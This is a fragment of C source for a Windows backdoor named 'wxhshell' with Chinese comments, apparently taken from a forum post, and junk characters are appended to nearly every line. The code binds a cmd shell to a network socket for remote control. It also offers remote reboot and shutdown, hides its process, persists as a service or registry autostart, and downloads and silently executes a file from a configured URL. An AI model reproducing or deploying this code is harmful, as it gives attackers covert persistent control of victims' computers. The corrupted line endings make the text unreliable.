  1Ol]^ 'y7)  
  // 帮助 ugB{2oqi  
  case '?': { i =N\[&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Wu( 8 G  
    break; `tG_O  
  } s vb4uvY  
  // 安装 Rda1X~-g  
  case 'i': { e<4z)  
    if(Install()) ^-u HdafP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w<Cmzkf  
    else rcx;3Vne  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S I7B6c  
    break; P|4E1O  
    } ]$*{<  
  // 卸载 1H =wl =K  
  case 'r': { e@=[+iJc  
    if(Uninstall()) 7omGg~!k(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i4n b#  
    else Oq,.Kz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #2jn4>  
    break; {@5WeWlz~  
    } 51qIo4$  
  // 显示 wxhshell 所在路径 ^-GX&ODa  
  case 'p': { uV_)JZ W,L  
    char svExeFile[MAX_PATH]; i*R:WTw#  
    strcpy(svExeFile,"\n\r"); |OZ>/l {  
      strcat(svExeFile,ExeFile); O'-Zn]@.]  
        send(wsh,svExeFile,strlen(svExeFile),0); 9+I/y,aC  
    break; 9K46>_TyH  
    } Cz r4 -#2  
  // 重启 MLBg_<  
  case 'b': { kA%OF*%|6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .k`*$1?73x  
    if(Boot(REBOOT)) s2?,'es  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `B\KS*Gya#  
    else { R+K&<Rz  
    closesocket(wsh); s~Wu0%])Q  
    ExitThread(0); ; axa ZV  
    } K#UA M .  
    break; -`dxx)x  
    } urXb!e{l  
  // 关机 fslk7RlSKg  
  case 'd': { NzAtdcwR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mK40 f  
    if(Boot(SHUTDOWN)) ^lai!uZVa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LnTe_Q7_  
    else { 90iW-"l+[  
    closesocket(wsh); qH%L"J  
    ExitThread(0); 5u)^FIBj  
    } {0vbC/?]  
    break; EO/cW<uV'  
    } RO$ @>vL  
  // 获取shell ( ssH=a  
  case 's': { 1gShV ]2  
    CmdShell(wsh); o\ow{ gh9  
    closesocket(wsh); t+!gzZ  
    ExitThread(0); <]Pix )  
    break; ?PE1aB+{:  
  } IEoR7:  
  // 退出 ;}eEG{`Y  
  case 'x': { A,lw-(.z4Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ss`q{ARb  
    CloseIt(wsh); k;fnC+Y$s  
    break; YY:iPaGO  
    } wAYzR$i  
  // 离开 0|s$vqc  
  case 'q': { udEb/7ZL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fm$n@R bX  
    closesocket(wsh); L2>?m`wp  
    WSACleanup(); VIz{}_~'s  
    exit(1); y>7VxX0xi  
    break; <Xs @ \  
        } F*4Qa  
  } F0BOhlK  
  } p#;dLM/EA  
iTugvb  
  // 提示信息 <S8I"8{Mb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *M5$ h*;v  
} 2>MP:yY;K  
  } +wz`_i)!  
p*AP 'cR  
  return; +A'q#~yILa  
} hDB`t $  
7:VEM;[d  
// shell模块句柄 Xw*%3'  
int CmdShell(SOCKET sock) ;ad9{":J#B  
{ 4('0f:9z+  
STARTUPINFO si; GwMUIevO_  
ZeroMemory(&si,sizeof(si)); yA !3XUi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n^JUZ8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Pzk[^z$C  
PROCESS_INFORMATION ProcessInfo; MOp=9d+N~  
char cmdline[]="cmd"; @dE 3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^b"x|8  
  return 0; OP|.I._I  
} xyS2_Q  
8V=HyF#  
// 自身启动模式 v E3{H  
int StartFromService(void) !X\sQNp  
{ 0{"dI;b%  
typedef struct } Jdh^t.  
{ yRq8;@YGY  
  DWORD ExitStatus; F;?TR[4!k  
  DWORD PebBaseAddress; (EOec5qXU  
  DWORD AffinityMask; ]xJ'oBhy  
  DWORD BasePriority; ^Kw&=u  
  ULONG UniqueProcessId; a8bX"#OR&N  
  ULONG InheritedFromUniqueProcessId; u,Q_WR-wJ  
}   PROCESS_BASIC_INFORMATION; nj~$%vmA  
pu2wEQ  
PROCNTQSIP NtQueryInformationProcess; ,);= (r9  
%)<oX9E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OUlxeo/  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I*+LJy;j  
)I Y 5Y  
  HANDLE             hProcess; XDP6T"h  
  PROCESS_BASIC_INFORMATION pbi; rSF;Lp)}  
m0%iw1OsH%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /^z/]!JG:V  
  if(NULL == hInst ) return 0; LM"W)S  
'FPcAW^8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 45r]wT(C   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vu_>U({. T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jlRl2 #"  
,yHzo  
  if (!NtQueryInformationProcess) return 0; :>tF_6  
Q QsVIHA  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wL8bs- U  
  if(!hProcess) return 0; (1kn):  
'uP'P#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (opROsFh  
.KiPNTh'  
  CloseHandle(hProcess); fH#F"^ A  
g)Vq5en*   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "%.|n|  
if(hProcess==NULL) return 0; =RW* %8C  
<t?x 'r?@  
HMODULE hMod; w2uRN?  
char procName[255]; ;S=62_ Un  
unsigned long cbNeeded; l#2r.q^$|  
7X9+Qj;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u=d`j  
v5&xY2RI7  
  CloseHandle(hProcess); lgCHGv2@  
D+ah ok  
if(strstr(procName,"services")) return 1; // 以服务启动 Hl^aUp.c  
P|unUW(P  
  return 0; // 注册表启动 "xe7Dl  
} k8InbX[  
2|0Je^$|  
// 主模块 ;H7EB`  
int StartWxhshell(LPSTR lpCmdLine) q5:0&:m$4$  
{ wo7N7R5  
  SOCKET wsl; AI^AK0.L  
BOOL val=TRUE; oTq%wi6 _  
  int port=0; ILkjz^  
  struct sockaddr_in door; } D/+<  
ql!5m\  
  if(wscfg.ws_autoins) Install(); p/ziFpU  
Ek"YM[  
port=atoi(lpCmdLine); \S=XIf  
|uQn|"U4  
if(port<=0) port=wscfg.ws_port; qO:U]\P  
=,&u_>Dp  
  WSADATA data; a^RZsR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o :.~X  
VRtbHam  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'sm[CNzS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~u_K& X  
  door.sin_family = AF_INET; 17V\2=Io  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c^ixdk  
  door.sin_port = htons(port); &_Cxv8  
paq8L{R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;el]LnV!O  
closesocket(wsl); 5S&aI{;9<  
return 1; q Axf5  
} .K $p`WQ{  
uHfhRc9  
  if(listen(wsl,2) == INVALID_SOCKET) { lSZ"y Q+  
closesocket(wsl); + $k07mb\  
return 1;  O]e6i%?  
} )HJK '@  
  Wxhshell(wsl); 7^kH8qJ)  
  WSACleanup(); RtW4 n:c  
> [Xm|A#  
return 0; 2. StG(Y!  
_Ct}%-,4  
} H "Q(2I  
3mpP| b"  
// 以NT服务方式启动 { M`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R19'| TJ  
{ qJ\X~5{  
DWORD   status = 0; Z 7`5x  
  DWORD   specificError = 0xfffffff; 21.YO]Et  
!&@2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1P5*wNF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bcq@N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -(6eVI  
  serviceStatus.dwWin32ExitCode     = 0; .[edln  
  serviceStatus.dwServiceSpecificExitCode = 0; pO\ S#GnX  
  serviceStatus.dwCheckPoint       = 0; re7!p(W?,  
  serviceStatus.dwWaitHint       = 0; b0r,h)R  
Ro$j1Aw(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |C~Sr#6)7  
  if (hServiceStatusHandle==0) return; l)}<#Ri  
b2a'KczV  
status = GetLastError(); 9U!JK3d  
  if (status!=NO_ERROR) ~&lQNl3`m6  
{ V^j3y`K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2;&mkc K'  
    serviceStatus.dwCheckPoint       = 0; ?+3R^%`V  
    serviceStatus.dwWaitHint       = 0; \U==f &G?J  
    serviceStatus.dwWin32ExitCode     = status; =ft9T&ciD  
    serviceStatus.dwServiceSpecificExitCode = specificError; \V._Z>]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 91BY]N  
    return; `ff j8U  
  } l>A\ V)  
5k K= S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; j1'\R+4U  
  serviceStatus.dwCheckPoint       = 0; @[n2dmj  
  serviceStatus.dwWaitHint       = 0; gBMta+<fE~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7^c2e*S  
} kJ/+IGV^v  
A$/KP\0Y2  
// 处理NT服务事件,比如:启动、停止 ]a8eDy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6(:)otz  
{ *hV4[=  
switch(fdwControl) 1oB$MQoc  
{ |p;4dL  
case SERVICE_CONTROL_STOP: fwRGT|":B  
  serviceStatus.dwWin32ExitCode = 0; ozVpfs  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *^n^nnCwp  
  serviceStatus.dwCheckPoint   = 0; :RPVT,O}  
  serviceStatus.dwWaitHint     = 0; ZmNZS0j  
  { 4"LPJX)Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pMOD\J:l,  
  } N[>:@h  
  return; "_t4F4z  
case SERVICE_CONTROL_PAUSE: X8 8F>1}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /#29Y^Z)=  
  break; wtlB  
case SERVICE_CONTROL_CONTINUE: [70Y,,w  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wbBE@RU>!  
  break; C2NzP& FD  
case SERVICE_CONTROL_INTERROGATE: QDP-E[  
  break; SzRL}}I  
}; 2%bhW,?I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); : g&>D#{  
} '=$TyiU  
MdLj,1_T  
// 标准应用程序主函数 R j-jAH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m^ z,,t9  
{ =+`D  
E`~i-kf  
// 获取操作系统版本 o.v2z~V  
OsIsNt=GetOsVer(); 0xv\D0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \Ph]*%  
II&<  
  // 从命令行安装 5qGGu.$Ihi  
  if(strpbrk(lpCmdLine,"iI")) Install(); ehU"*9  
anLbl#UV  
  // 下载执行文件 Q< dba12  
if(wscfg.ws_downexe) { *JwFD^<j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *}7U`Aa  
  WinExec(wscfg.ws_filenam,SW_HIDE); nz>K{(  
} O(odNQy~  
r;9z 5'  
if(!OsIsNt) { f;R>Pr;rD  
// 如果时win9x,隐藏进程并且设置为注册表启动 P> |Ef~j  
HideProc(); v< Ty|(gd  
StartWxhshell(lpCmdLine); K@HLIuz4t  
} W.IH#`-9E  
else cFw3Iw"JJ  
  if(StartFromService()) B+|IZoR  
  // 以服务方式启动 2f `&WUe  
  StartServiceCtrlDispatcher(DispatchTable);  -W9gH  
else g2A"1w<-AH  
  // 普通方式启动 m.!wsw  
  StartWxhshell(lpCmdLine); jBS'g{y-!  
Ny]lvgu9X  
return 0; r-*l1([eW  
}
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只看该作者 1 发表于: 2006-10-10
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